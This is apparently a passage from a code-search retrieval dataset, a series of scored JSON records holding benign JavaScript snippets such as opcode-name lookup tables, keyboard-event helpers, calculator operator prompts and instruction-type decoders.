restart)\n\tcase OPC_EXTC1: return \"EXTC1\";\t// Extended opcode with 1 data byte\n// \n// Packets with 3 data bytes\n// \n\tcase OPC_DFUN: return \"DFUN\";\t// Set engine functions\n\tcase OPC_GLOC: return \"GLOC\";\t// Get loco (with support for steal/share)\n\tcase OPC_ERR: return \"ERR\";\t// Command station error\n\tcase OPC_CMDERR: return \"CMDERR\";\t// Errors from nodes during config\n// \n\tcase OPC_EVNLF: return \"EVNLF\";\t// Event slots left response\n\tcase OPC_NVRD: return \"NVRD\";\t// Request read of node variable\n\tcase OPC_NENRD: return \"NENRD\";\t// Request read stored event by index\n\tcase OPC_RQNPN: return \"RQNPN\";\t// Request read module parameters\n\tcase OPC_NUMEV: return \"NUMEV\";\t// Number of events stored response\n\tcase OPC_CANID: return \"CANID\";\t// Set canid\n\tcase OPC_EXTC2: return \"EXTC2\";\t// Extended opcode with 2 data bytes\n// \n// Packets with 4 data bytes\n// \n\tcase OPC_RDCC3: return \"RDCC3\";\t// 3 byte DCC packet\n\tcase OPC_WCVO: return \"WCVO\";\t// Write CV byte Ops mode by handle\n\tcase OPC_WCVB: return \"WCVB\";\t// Write CV bit Ops mode by handle\n\tcase OPC_QCVS: return \"QCVS\";\t// Read CV\n\tcase OPC_PCVS: return \"PCVS\";\t// Report CV\n\tcase OPC_CABSIG: return \"CABSIG\";\t// Cab signalling\n// \n\tcase OPC_ACON: return \"ACON\";\t// on event\n\tcase OPC_ACOF: return \"ACOF\";\t// off event\n\tcase OPC_AREQ: return \"AREQ\";\t// Accessory Request event\n\tcase OPC_ARON: return \"ARON\";\t// Accessory response event on\n\tcase OPC_AROF: return \"AROF\";\t// Accessory response event off\n\tcase OPC_EVULN: return \"EVULN\";\t// Unlearn event\n\tcase OPC_NVSET: return \"NVSET\";\t// Set a node variable\n\tcase OPC_NVANS: return \"NVANS\";\t// Node variable value response\n\tcase OPC_ASON: return \"ASON\";\t// Short event on\n\tcase OPC_ASOF: return \"ASOF\";\t// Short event off\n\tcase OPC_ASRQ: return \"ASRQ\";\t// Short Request event\n\tcase OPC_PARAN: return \"PARAN\";\t// Single node parameter response\n\tcase OPC_REVAL: return \"REVAL\";\t// Request read of event variable\n\tcase OPC_ARSON: return \"ARSON\";\t// Accessory short response on event\n\tcase OPC_ARSOF: return \"ARSOF\";\t// Accessory short response off event\n\tcase OPC_EXTC3: return \"EXTC3\";\t// Extended opcode with 3 data bytes\n// \n// Packets with 5 data bytes\n// \n\tcase OPC_RDCC4: return \"RDCC4\";\t// 4 byte DCC packet\n\tcase OPC_WCVS: return \"WCVS\";\t// Write CV service mode\n// \n\tcase OPC_ACON1: return \"ACON1\";\t// On event with one data byte\n\tcase OPC_ACOF1: return \"ACOF1\";\t// Off event with one data byte\n\tcase OPC_REQEV: return \"REQEV\";\t// Read event variable in learn mode\n\tcase OPC_ARON1: return \"ARON1\";\t// Accessory on response (1 data byte)\n\tcase OPC_AROF1: return \"AROF1\";\t// Accessory off response (1 data byte)\n\tcase OPC_NEVAL: return \"NEVAL\";\t// Event variable by index read response\n\tcase OPC_PNN: return \"PNN\";\t// Response to QNN\n\tcase OPC_ASON1: return \"ASON1\";\t// Accessory short on with 1 data byte\n\tcase OPC_ASOF1: return \"ASOF1\";\t// Accessory short off with 1 data byte\n\tcase OPC_ARSON1: return \"ARSON1\";\t// Short response event on with one data byte\n\tcase OPC_ARSOF1: return \"ARSOF1\";\t// Short response event off with one data byte\n\tcase OPC_EXTC4: return \"EXTC4\";\t// Extended opcode with 4 data bytes\n// \n// Packets with 6 data bytes\n// \n\tcase OPC_RDCC5: return \"RDCC5\";\t// 5 byte DCC packet\n\tcase OPC_WCVOA: return \"WCVOA\";\t// Write CV ops mode by address\n\tcase OPC_FCLK: return \"FCLK\";\t// Fast clock\n// \n\tcase OPC_ACON2: return \"ACON2\";\t// On event with two data bytes\n\tcase OPC_ACOF2: return \"ACOF2\";\t// Off event with two data bytes\n\tcase OPC_EVLRN: return \"EVLRN\";\t// Teach event\n\tcase OPC_EVANS: return \"EVANS\";\t// Event variable read response in learn mode\n\tcase OPC_ARON2: return \"ARON2\";\t// Accessory on response\n\tcase OPC_AROF2: return \"AROF2\";\t// Accessory off response\n\tcase OPC_ASON2: return \"ASON2\";\t// Accessory short on with 2 data bytes\n\tcase OPC_ASOF2: return \"ASOF2\";\t// Accessory short off with 2 data bytes\n\tcase OPC_ARSON2: return \"ARSON2\";\t// Short response event on with two data bytes\n\tcase OPC_ARSOF2: return \"ARSOF2\";\t// Short response event off with two data bytes\n\tcase OPC_EXTC5: return \"EXTC5\";\t// Extended opcode with 5 data bytes\n// \n// Packets with 7 data bytes\n// \n\tcase OPC_RDCC6: return \"RDCC6\";\t// 6 byte DCC packets\n\tcase OPC_PLOC: return \"PLOC\";\t// Loco session report\n\tcase OPC_NAME: return \"NAME\";\t// Module name response\n\tcase OPC_STAT: return \"STAT\";\t// Command station status report\n\tcase OPC_PARAMS: return \"PARAMS\";\t// Node parameters response\n// \n\tcase OPC_ACON3: return \"ACON3\";\t// On event with 3 data bytes\n\tcase OPC_ACOF3: return \"ACOF3\";\t// Off event with 3 data bytes\n\tcase OPC_ENRSP: return \"ENRSP\";\t// Read node events response\n\tcase OPC_ARON3: return \"ARON3\";\t// Accessory on response\n\tcase OPC_AROF3: return \"AROF3\";\t// Accessory off response\n\tcase OPC_EVLRNI: return \"EVLRNI\";\t// Teach event using event indexing\n\tcase OPC_ACDAT: return \"ACDAT\";\t// Accessory data event: 5 bytes of node data (eg: RFID)\n\tcase OPC_ARDAT: return \"ARDAT\";\t// Accessory data response\n\tcase OPC_ASON3: return \"ASON3\";\t// Accessory short on with 3 data bytes\n\tcase OPC_ASOF3: return \"ASOF3\";\t// Accessory short off with 3 data bytes\n\tcase OPC_DDES: return \"DDES\";\t// Short data frame aka device data event (device id plus 5 data bytes)\n\tcase OPC_DDRS: return \"DDRS\";\t// Short data frame response aka device data response\n\tcase OPC_DDWS: return \"DDWS\";\t// Device Data Write Short\n\tcase OPC_ARSON3: return \"ARSON3\";\t// Short response event on with 3 data bytes\n\tcase OPC_ARSOF3: return \"ARSOF3\";\t// Short response event off with 3 data bytes\n\tcase OPC_EXTC6: return \"EXTC6\";\t// Extended opcode with 6 data byes\n\t\n\tdefault:\n \treturn \"unknown\";\n\t}\n}", "title": "" }, { "docid": "ba33a2b2949c2f88df61d8a2da3bd887", "score": "0.46096677", "text": "function getOS() {\n return \"O\" + getOSSingleChar();\n}", "title": "" }, { "docid": "c4b545a076ec184f4b374782234318a7", "score": "0.46082398", "text": "function eventName(name) {\n\t if (name.lastIndexOf(eventPrefix, 0) === 0) return name.substr(eventPrefix.length);\n\t return name;\n\t }", "title": "" }, { "docid": "b8e3c8f79beb188d90db87068d20653a", "score": "0.46016765", "text": "function encodingR(opcode) {\n var returnVal;\n switch(opcode) {\n case(\"sll\"):\n returnVal = 0; break;\n case(\"jr\"):\n returnVal = 8; break;\n case(\"add\"):\n returnVal = 32; break;\n case(\"addu\"):\n returnVal = 33; break;\n case(\"sub\"):\n returnVal = 34; break;\n case(\"subu\"):\n returnVal = 35; break;\n case(\"and\"):\n returnVal = 36; break;\n case(\"or\"):\n returnVal = 37; break;\n case(\"xor\"):\n returnVal = 38; break;\n case(\"nor\"):\n returnVal = 39; break;\n default:\n returnVal = TYPE_UNSUPPORTED;\n }\n return returnVal;\n}", "title": "" }, { "docid": "aceba6aa49644918ffb67f28b4a7ab90", "score": "0.45969447", "text": "function getActualInstructionFromEmulated(emulatedInstr)\n{\n\tvar instr = '';\n\n\t\n}", "title": "" }, { "docid": "ccab38f3c77f30f3eebd1296703b4040", "score": "0.4583204", "text": "function encodeOperationAction(op, columns) {\n const actionCode = ACTIONS.indexOf(op.action)\n if (actionCode >= 0) {\n columns.action.appendValue(actionCode)\n } else if (typeof op.action === 'number') {\n columns.action.appendValue(op.action)\n } else {\n throw new RangeError(`Unexpected operation action: ${op.action}`)\n }\n}", "title": "" }, { "docid": "462ec4582077331bf27650f6d3e8d632", "score": "0.45729667", "text": "function ecmd(entity) /* (entity : entity) -> string */ {\n return entity.ecmd;\n}", "title": "" }, { "docid": "d91fe9bc4e5210004a03ffc9b13d653b", "score": "0.45654988", "text": "function parameters_getOperator(_, ctx) {\n return ctx.get(_.$ref) || Object(vega_util[\"n\" /* error */])('Operator not defined: ' + _.$ref);\n}", "title": "" }, { "docid": "9d515befb69c88b6da0e8788f5705ff8", "score": "0.45594263", "text": "get operation () {\n\t\treturn this._operation;\n\t}", "title": "" }, { "docid": "9d515befb69c88b6da0e8788f5705ff8", "score": "0.45594263", "text": "get operation () {\n\t\treturn this._operation;\n\t}", "title": "" }, { "docid": "a226166ad79eb3e2046e6c519b2718f2", "score": "0.45519695", "text": "function getKeyCode(event) {\n let keyCode;\n\n const isKeyboard = event.type === 'keydown';\n if (isKeyboard) {\n keyCode = event.keyCode;\n } else {\n keyCode = event.target.dataset.key;\n }\n return keyCode;\n}", "title": "" }, { "docid": "634b42ac4d74d60c5e5033b0ab477ee2", "score": "0.45451117", "text": "get command() {\n return this[exports.SYM_CONFIG].command;\n }", "title": "" }, { "docid": "f8c817bb23e1135274c4052aa4806974", "score": "0.45109975", "text": "getCodeTypeName()\n {\n return this.getJavaClass().getCodeTypeNameSync();\n }", "title": "" }, { "docid": "1dc9d2eea38c82453d5ae2ce43121fb9", "score": "0.4508932", "text": "opcode1() {\n this.writeData(this.getParameter(1) + this.getParameter(2), this.position + 3);\n this.position += 4;\n }", "title": "" }, { "docid": "851441f1476659a6401e91b73b3aa90e", "score": "0.44951987", "text": "function getKeyCode(event) {\n return event.keyCode ? event.keyCode : event.which;\n }", "title": "" }, { "docid": "a51cde0591db01cbdd89692186d89951", "score": "0.4489175", "text": "function getOp() {\r\n let op = prompt(\"Bitte +|-|*|/ eingeben.\")\r\n while (!checkOp(op)) {\r\n op = prompt(\"Bitte einen korrekten Operator eingeben.\") \r\n }\r\n return op;\r\n}", "title": "" }, { "docid": "e072457357f9dee8b0b4176362094305", "score": "0.4483363", "text": "fetchOp() {\n let op = this.memory[this.cursor] + '' \n if (op.length < 5) {\n let times = (5 - op.length)\n for(let i=1; i<=times; i++) {\n op = '0' + op\n }\n }\n return op\n }", "title": "" }, { "docid": "e072457357f9dee8b0b4176362094305", "score": "0.4483363", "text": "fetchOp() {\n let op = this.memory[this.cursor] + '' \n if (op.length < 5) {\n let times = (5 - op.length)\n for(let i=1; i<=times; i++) {\n op = '0' + op\n }\n }\n return op\n }", "title": "" }, { "docid": "f07c0c8bf4dc2aa95164dcccdd3877ac", "score": "0.44822943", "text": "getSymbol() {\n return this.symbol;\n }", "title": "" }, { "docid": "b9dd3935e2c6b6d67d354ec4a9ac8ae4", "score": "0.4480077", "text": "function getOp() {\r\n let op = prompt(\"Bitte Rechenoperator eingeben\")\r\n if (isOpValid(op)) {\r\n return true;\r\n } else {\r\n return \"Bitte nochmal!\"\r\n }\r\n return op;\r\n}", "title": "" }, { "docid": "b0c27c2345bc1731c710d2895ed2031f", "score": "0.44717917", "text": "get keyCode() {}", "title": "" }, { "docid": "3808aea5ab89f7bc7250372ff1d618eb", "score": "0.44716462", "text": "function isOp(name) {\n\t//They're an OP\n\tif(ops.indexOf(name) > -1) {\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "7fbe1f53f4f113d8d5f5992995d6e097", "score": "0.4469037", "text": "parseOperationType() {\n const operationToken = this.expectToken(_tokenKind.TokenKind.NAME);\n switch (operationToken.value) {\n case 'query':\n return _ast.OperationTypeNode.QUERY;\n case 'mutation':\n return _ast.OperationTypeNode.MUTATION;\n case 'subscription':\n return _ast.OperationTypeNode.SUBSCRIPTION;\n }\n throw this.unexpected(operationToken);\n }", "title": "" }, { "docid": "4c5763f84dd0d7707bb5953a65350dbf", "score": "0.44633663", "text": "getOperand(type) {\n switch (type) {\n case 'Add':\n return '+';\n break;\n\n case 'Subtract':\n return '-';\n break;\n\n case 'Multiply':\n return '*';\n break;\n\n case 'Divide':\n return '/';\n break;\n\n default:\n break;\n }\n\n }", "title": "" }, { "docid": "8894a41476ff3c8593db9ca147377691", "score": "0.4461256", "text": "get name() {\n return this.i.b7;\n }", "title": "" }, { "docid": "3a1ab6ede2fbfc07db4ef3bc2008a3fa", "score": "0.44600675", "text": "function get_dec_name()\n{\n\treturn \"1-Wire\";\n}", "title": "" }, { "docid": "f39a774e4fa67a5327dd46cbaea2edf7", "score": "0.4457143", "text": "function getZCommand(e) {\n return hasCommandModifier(e) ? e.shiftKey ? \"redo\" : \"undo\" : null;\n }", "title": "" }, { "docid": "fc366341c7af15516be9ad3e2b08adf8", "score": "0.4456392", "text": "get name() {\n return this.i.ig;\n }", "title": "" }, { "docid": "1ed138fc52bb32dde86461a5aaf0e312", "score": "0.44523954", "text": "function getOperator(){\n readline.question('Enter operation (+-*/ or q to quit): ', userOp => {\n checkOperation(userOp);\n } );\n}", "title": "" }, { "docid": "17ec5db74400d80c46900f3c04eb80da", "score": "0.4448431", "text": "function getPC(name) {\n\t\tvar nameAndAddr;\n\t\tfor (var i = 0; i < labelIndex.length; i++) {\n\t\t\tnameAndAddr = labelIndex[i].split(\"|\");\n\t\t\tif (name === nameAndAddr[0]) {\n\t\t\t\treturn (nameAndAddr[1]);\n\t\t\t}\n\t\t}\n\t\treturn -1;\n\t}", "title": "" }, { "docid": "898e4951bd9842e5e9a20d548b08dfa3", "score": "0.44448262", "text": "function M_getKeyName(evt) {\n var name = \"\";\n if (evt.ctrlKey) { name += \"Ctrl-\" }\n if (evt.altKey) { name += \"Alt-\" }\n if (evt.shiftKey) { name += \"Shift-\" }\n if (evt.metaKey) { name += \"Meta-\" }\n // Character keys have codes of corresponding ASCII symbols\n if (evt.keyCode >= 65 && evt.keyCode <= 90) {\n return name + String.fromCharCode(evt.keyCode);\n }\n // Numeric keys seems to have codes of corresponding ASCII symbols too\n if (evt.keyCode >= 48 && evt.keyCode <= 57) {\n return name + String.fromCharCode(evt.keyCode);\n }\n // Handling special keys\n switch (evt.keyCode) {\n case 27: return name + \"Esc\";\n case 13: return name + \"Enter\";\n case 188: return name + \",\"; // [,<]\n case 190: return name + \".\"; // [.>]\n case 191: return name + \"/\"; // [/?]\n case 38: return name + \"ArrowUp\";\n case 40: return name + \"ArrowDown\";\n case 17: // Ctrl\n case 18: // Alt\n case 16: // Shift\n // case ??: Meta ?\n return name.substr(0, name.lenght-1);\n default:\n name += \"<\"+evt.keyCode+\">\";\n }\n return name;\n}", "title": "" }, { "docid": "534b59a62e57a3f21166cd2d821664cd", "score": "0.4440748", "text": "static parseEventName(eventName) {\n const parts = eventName.toLowerCase().split('.');\n const domEventName = parts.shift();\n if (parts.length === 0 || !(domEventName === 'keydown' || domEventName === 'keyup')) {\n return null;\n }\n const key = KeyEventsPlugin._normalizeKey(parts.pop());\n let fullKey = '';\n let codeIX = parts.indexOf('code');\n if (codeIX > -1) {\n parts.splice(codeIX, 1);\n fullKey = 'code.';\n }\n MODIFIER_KEYS.forEach(modifierName => {\n const index = parts.indexOf(modifierName);\n if (index > -1) {\n parts.splice(index, 1);\n fullKey += modifierName + '.';\n }\n });\n fullKey += key;\n if (parts.length != 0 || key.length === 0) {\n // returning null instead of throwing to let another plugin process the event\n return null;\n }\n // NOTE: Please don't rewrite this as so, as it will break JSCompiler property renaming.\n // The code must remain in the `result['domEventName']` form.\n // return {domEventName, fullKey};\n const result = {};\n result['domEventName'] = domEventName;\n result['fullKey'] = fullKey;\n return result;\n }", "title": "" }, { "docid": "38fb80d483d4f6c8c766aa2d7aa41af1", "score": "0.4429451", "text": "function getASCII (c) {\n return c.charCodeAt(0)\n}", "title": "" }, { "docid": "00d61a29515964672c57c4294f7f1e4c", "score": "0.4426008", "text": "static decodeInstructionType(instruction) {\n this.checkProgramId(instruction.programId);\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n let type;\n\n for (const [ixType, layout] of Object.entries(SYSTEM_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a SystemInstruction');\n }\n\n return type;\n }", "title": "" }, { "docid": "499c4969bcad5e450050b9f332235bcb", "score": "0.44094446", "text": "commandType(tokens) {\n return Constants_1.CommandTypeMap[this.command(tokens)];\n }", "title": "" }, { "docid": "9fae3bf560e792c8a1460f9827a3ffb4", "score": "0.43998456", "text": "function hexJ(opcode, addr) {\n return (opcode << 26 | addr);\n}", "title": "" }, { "docid": "1b17b060da38327b674f883dcc6af71f", "score": "0.43814003", "text": "getType() {\n return Symbol.MOVE;\n }", "title": "" }, { "docid": "4e3cb4afad580d7007fd3e7a1b716c9f", "score": "0.43785468", "text": "function getMethodName(exp) {\n if (exp.ref.type === 'var') {\n return exp.ref.name;\n }\n if (exp.ref.type !== 'ref') {\n return '';\n }\n return getPropName(exp.ref);\n}", "title": "" }, { "docid": "4e3cb4afad580d7007fd3e7a1b716c9f", "score": "0.43785468", "text": "function getMethodName(exp) {\n if (exp.ref.type === 'var') {\n return exp.ref.name;\n }\n if (exp.ref.type !== 'ref') {\n return '';\n }\n return getPropName(exp.ref);\n}", "title": "" }, { "docid": "35a309bc676f975c5e2fc0e38ae6a835", "score": "0.43749306", "text": "getLastOp() {\n return this.result.opTime;\n }", "title": "" }, { "docid": "513bc5621cf2260beb125aed6f6b4f24", "score": "0.43728185", "text": "opcode5() {\n if (this.getParameter(1) !== 0) {\n this.position = this.getParameter(2);\n }\n else {\n this.position += 3;\n }\n }", "title": "" }, { "docid": "383d4f405bdd2731e0c5f5535b5aa2ea", "score": "0.43710762", "text": "static decodeInstructionType(instruction) {\n this.checkProgramId(instruction.programId);\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n let type;\n\n for (const [ixType, layout] of Object.entries(STAKE_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a StakeInstruction');\n }\n\n return type;\n }", "title": "" }, { "docid": "9985bdcbfeecf10e58b39805a9e38c09", "score": "0.4366998", "text": "function getName(ast,env0){\n var cAST=ast;\n var nameStr=\"\";\n while(cAST!=null){\n var dStr=evalDText(cAST,env0);\n nameStr=nameStr+dStr;\n cAST=cAST.next;\n }\n return nameStr; \n}", "title": "" }, { "docid": "d39100fa95dd91442fe27a539b0c97bf", "score": "0.43593684", "text": "function getOperator(){\n readline.question(\"Enter operation (+-*/, q to quit):\", inputOp => {\n getValue(inputOp);\n} );\n}", "title": "" }, { "docid": "0e4ce44fa95208b610de00a04fcc99dd", "score": "0.43566447", "text": "function getFuncName(ast,env0){\n var cAST=ast;\n var nameStr=\"\";\n while(cAST!=null){\n var dStr=evalIText(cAST,env0);\n if(dStr!=null ||dStr!=\"\"){\n nameStr=nameStr+dStr;\n return nameStr;\n }\n cAST=cAST.next;\n }\n return nameStr; \n}", "title": "" }, { "docid": "b57a2f92485ec320dba726cada340c49", "score": "0.43541357", "text": "function name() {\n\t\t\treturn this.__proto__ ? this.__proto__.constructor.name : 'unknown';\n\t\t}", "title": "" }, { "docid": "2cc43ec30ddcb039941c9a63e6d05d82", "score": "0.43427518", "text": "function opType (L, op, R) {\n var LsName = sName(L) || '',\n RsName = sName(R) || ''\n var opsName = sName(op)\n if (opsName != 'o' && opsName != 'r' && opsName != 'c') { opsName = '' }\n return LsName + opsName + RsName\n}", "title": "" }, { "docid": "bde8c91fd573c97f262e2e41add8acd7", "score": "0.43420112", "text": "getOpLength (op) {\n\t\treturn getOpLength(op)\n\t}", "title": "" }, { "docid": "845bb46c4d8da5c0141239f4da3c0b07", "score": "0.43419462", "text": "function simpleCmd(name) {\n return get(\"{0}cmd={1}\", clientUrl, name);\n }", "title": "" }, { "docid": "051f900488481734071291e902255390", "score": "0.43388098", "text": "function getErrCode (message,code,command) {\n return `command:${command.name};_code:${code};_user:${message.author.id};`\n }", "title": "" }, { "docid": "91687b7b1d07d4db5f913af07d608f40", "score": "0.43351486", "text": "function getCmd(key, mode) {\n\t}", "title": "" }, { "docid": "81d7f518e6d39ca8cbb7d2831aa57296", "score": "0.4334329", "text": "function getZCommand(e) {\n if (!hasCommandModifier(e)) {\n return null;\n }\n return e.shiftKey ? 'redo' : 'undo';\n }", "title": "" }, { "docid": "66410b6f61ed9a0c7c1ff015ea3d25a7", "score": "0.43295032", "text": "function parseOpcode(raw) {\n const opcode = raw % 100;\n raw = Math.floor(raw / 100);\n const modes = [];\n modes.push(raw % 10);\n raw = Math.floor(raw / 10);\n modes.push(raw % 10);\n raw = Math.floor(raw / 10);\n modes.push(raw % 10);\n raw = Math.floor(raw / 10);\n // I'm using the spread operator here even though I immediately undo it\n // because it makes the tests easier.\n return [opcode, ...modes];\n}", "title": "" }, { "docid": "c1ee34c91097d6c5608f590e6e6aa2d1", "score": "0.43242723", "text": "token() {\n\t\tconst cache = this.keyToken()\n\t\tif (cache.length < 2) {\n\t\t\treturn \"\"\n\t\t}\n\t\treturn cache[1]\n\t}", "title": "" }, { "docid": "6b2e2ceacbea4ccf0697865cc1395735", "score": "0.43207228", "text": "function getZCommand(e) {\n if (!hasCommandModifier(e)) {\n return null;\n }\n return e.shiftKey ? 'redo' : 'undo';\n}", "title": "" }, { "docid": "6b2e2ceacbea4ccf0697865cc1395735", "score": "0.43207228", "text": "function getZCommand(e) {\n if (!hasCommandModifier(e)) {\n return null;\n }\n return e.shiftKey ? 'redo' : 'undo';\n}", "title": "" }, { "docid": "6b2e2ceacbea4ccf0697865cc1395735", "score": "0.43207228", "text": "function getZCommand(e) {\n if (!hasCommandModifier(e)) {\n return null;\n }\n return e.shiftKey ? 'redo' : 'undo';\n}", "title": "" }, { "docid": "6b2e2ceacbea4ccf0697865cc1395735", "score": "0.43207228", "text": "function getZCommand(e) {\n if (!hasCommandModifier(e)) {\n return null;\n }\n return e.shiftKey ? 'redo' : 'undo';\n}", "title": "" }, { "docid": "6b2e2ceacbea4ccf0697865cc1395735", "score": "0.43207228", "text": "function getZCommand(e) {\n if (!hasCommandModifier(e)) {\n return null;\n }\n return e.shiftKey ? 'redo' : 'undo';\n}", "title": "" } ]
7c8ed550234d2c3fb48c2bd24ab44efd
OTHER FRUIT + DESCRIPTORS
[ { "docid": "367eecdbe4af9e08ecf76d5abc471e98", "score": "0.0", "text": "function OtherFruit() {\n console.log(\"This is: \" + (JSON.stringify(flavours.fruity.subFlavours.otherFruit.name + \" with the color \" + flavours.fruity.subFlavours.otherFruit.color + \".\")));\n}", "title": "" } ]
[ { "docid": "688a1c1cd5957ae81a03e76a3e4e53da", "score": "0.5255704", "text": "static extraProps() {}", "title": "" }, { "docid": "a2e9c5b33c6955d6329c819b945c6170", "score": "0.51053643", "text": "function Descriptor() {\n this.isDescriptor = true;\n }", "title": "" }, { "docid": "a2e9c5b33c6955d6329c819b945c6170", "score": "0.51053643", "text": "function Descriptor() {\n this.isDescriptor = true;\n }", "title": "" }, { "docid": "3fda4581024ddc309227128790b1aa0f", "score": "0.502948", "text": "get structs () {\n return {\n\n data: {\n class: this.class,\n id : `${this.class}-0`,\n time: 0\n },\n \n view: {\n class: this.class,\n id: `${this.class}-0`, \n x: 0,\n y: 0,\n text: \"undefined\"\n },\n\n \n /**\n * container symbols define the parameters that are used when \n * queried by child calls to childViewParamsToData and childDataToViewParams\n * for example:\n \n children: {\n data: {\n time: 0\n },\n view: {\n x: 0\n }\n }\n \n */ \n\n \n }\n }", "title": "" }, { "docid": "fbde6ad8cb862245031f21bf37210594", "score": "0.4968035", "text": "static describe() {\n return merge(super.describe(), {\n \t// declare the supported properties send from react to native\n NativeProps: {\n source : 'string',\n resizeMode: 'string',\n inset: 'number',\n insetSize: 'number',\n crop: 'number',\n pointerEvents: 'string',\n hitSlop: 'number',\n }\n });\n }", "title": "" }, { "docid": "c6bc7cbfeffa75866706921b52f261ea", "score": "0.49213928", "text": "static get properties() {\n return {\n /**\n * The `icon` attribute grabs a vector-shaped logo of social media you choose\n *\n * @attribute icon\n * @type string\n * @default 'github'\n */\n icon: {\n type: String,\n value: 'github',\n notify: true,\n reflectToAttribute: true,\n observer: '_getPath'\n },\n /**\n * The `size` attribute sets a size of an element\n *\n * @attribute size\n * @type int\n * @default 32\n */\n size: {\n type: Number,\n value: 32,\n notify: true,\n reflectToAttribute: true\n },\n /**\n * The `color` attribute fills the shape with a color you choose\n *\n * @attribute color\n * @type hex\n * @default undefined\n */\n color: {\n type: String,\n notify: true,\n reflectToAttribute: true\n },\n /**\n * The `title` attribute changes the title\n *\n * @attribute change\n * @type string\n */\n title: {\n type: String,\n notify: true,\n reflectToAttribute: true\n }\n };\n }", "title": "" }, { "docid": "d572f27c055c74537a21c59b657164d5", "score": "0.49188265", "text": "function Fa(){return Fa=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Fa.apply(this,arguments)}", "title": "" }, { "docid": "c839d00f70dd876cd35f35b2ceb7b0ff", "score": "0.4826816", "text": "_describeBubble (...args){\n return api.describeBubbleLineByObject(...args);\n }", "title": "" }, { "docid": "a81cac1217e6b127ed9ad9ba2c2f78f7", "score": "0.47982168", "text": "function addToObject(f, obj, name) {\n // ignore-in-doc\n f.displayName = name;\n\n var methodConnections = obj.attributeConnections ? obj.attributeConnections.filter(function (con) {\n return con.getSourceAttrName() === 'update';\n }) : [];\n\n if (methodConnections) methodConnections.forEach(function (ea) {\n ea.disconnect();\n });\n\n obj[name] = f;\n\n if (typeof obj === \"undefined\" ? \"undefined\" : _typeof(obj)) f.declaredObject = safeToString(obj);\n\n // suppport for tracing\n if (typeof lively !== \"undefined\" && obj && lively.Tracing && lively.Tracing.stackTracingEnabled) {\n lively.Tracing.instrumentMethod(obj, name, {\n declaredObject: safeToString(obj)\n });\n }\n\n if (methodConnections) methodConnections.forEach(function (ea) {\n ea.connect();\n });\n\n return f;\n}", "title": "" }, { "docid": "7c9a3eb02643eaae0e1c90212b2f03eb", "score": "0.4781319", "text": "function objectToDescriptor (o, s, f) {\n\tif (undefined != f) {\n\t\to = f(o);\n\t}\n\tvar d = new ActionDescriptor;\n\tvar l = o.reflect.properties.length;\n\td.putString( app.charIDToTypeID( 'Msge' ), s );\n\tfor (var i = 0; i < l; i++ ) {\n\t\tvar k = o.reflect.properties[i].toString();\n\t\tif (k == \"__proto__\" || k == \"__count__\" || k == \"__class__\" || k == \"reflect\")\n\t\t\tcontinue;\n\t\tvar v = o[ k ];\n\t\tk = app.stringIDToTypeID(k);\n\t\tswitch ( typeof(v) ) {\n\t\t\tcase \"boolean\":\n\t\t\t\td.putBoolean(k, v);\n\t\t\t\tbreak;\n\t\t\tcase \"string\":\n\t\t\t\td.putString(k, v);\n\t\t\t\tbreak;\n\t\t\tcase \"number\":\n\t\t\t\td.putDouble(k, v);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t{\n\t\t\t\tif ( v instanceof UnitValue ) {\n\t\t\t\t\tvar uc = new Object;\n\t\t\t\t\tuc[\"px\"] = charIDToTypeID(\"#Rlt\"); // unitDistance\n\t\t\t\t\tuc[\"%\"] = charIDToTypeID(\"#Prc\"); // unitPercent\n\t\t\t\t\td.putUnitDouble(k, uc[v.type], v.value);\n\t\t\t\t} else {\n\t\t\t\t\tthrow( new Error(\"Unsupported type in objectToDescriptor \" + typeof(v) ) );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n return d;\n}", "title": "" }, { "docid": "84200e200df2e0dc7c10de88fca5418a", "score": "0.47616985", "text": "function eb(a,b){return\"method\"!==b.kind||!b.ri||\"value\"in b.ri?{kind:\"field\",key:Symbol(),co:\"own\",ri:{},ao:b.key,dj:function(){\"function\"===typeof b.dj&&(this[b.key]=b.dj.call(this))},dm:function(c){c.pb(b.key,a)}}:Object.assign({},b,{dm:function(c){c.pb(b.key,a)}})}", "title": "" }, { "docid": "901ee7cab3a526c7c2ce3a1bafd028bb", "score": "0.47536576", "text": "function Mango(types){\n this.types=types;\n this.color=\"green\";\n this.getInfo=getMangoInfo;\n\n}", "title": "" }, { "docid": "f5945c0fa09ed0b8dfb625dc870841cd", "score": "0.47368264", "text": "function update_descriptors(specific_descriptors) {\n v_descriptors_ul.v_descriptors = specific_descriptors;\n}", "title": "" }, { "docid": "ab2f6bf823f3c7afdb1e8cfb796db8bd", "score": "0.47293574", "text": "init_() {\n chrome.accessibilityFeatures.autoclick.get(\n {}, details => this.onAutoclickUpdated_(details));\n chrome.accessibilityFeatures.autoclick.onChange.addListener(\n details => this.onAutoclickUpdated_(details));\n\n chrome.accessibilityFeatures.screenMagnifier.get(\n {},\n details =>\n this.onMagnifierUpdated_(Magnifier.Type.FULL_SCREEN, details));\n chrome.accessibilityFeatures.screenMagnifier.onChange.addListener(\n details =>\n this.onMagnifierUpdated_(Magnifier.Type.FULL_SCREEN, details));\n\n chrome.accessibilityFeatures.dockedMagnifier.get(\n {},\n details => this.onMagnifierUpdated_(Magnifier.Type.DOCKED, details));\n chrome.accessibilityFeatures.dockedMagnifier.onChange.addListener(\n details => this.onMagnifierUpdated_(Magnifier.Type.DOCKED, details));\n\n chrome.accessibilityFeatures.dictation.get(\n {}, details => this.onDictationUpdated_(details));\n chrome.accessibilityFeatures.dictation.onChange.addListener(\n details => this.onDictationUpdated_(details));\n\n const gameFaceFeature =\n chrome.accessibilityPrivate.AccessibilityFeature.GAME_FACE_INTEGRATION;\n 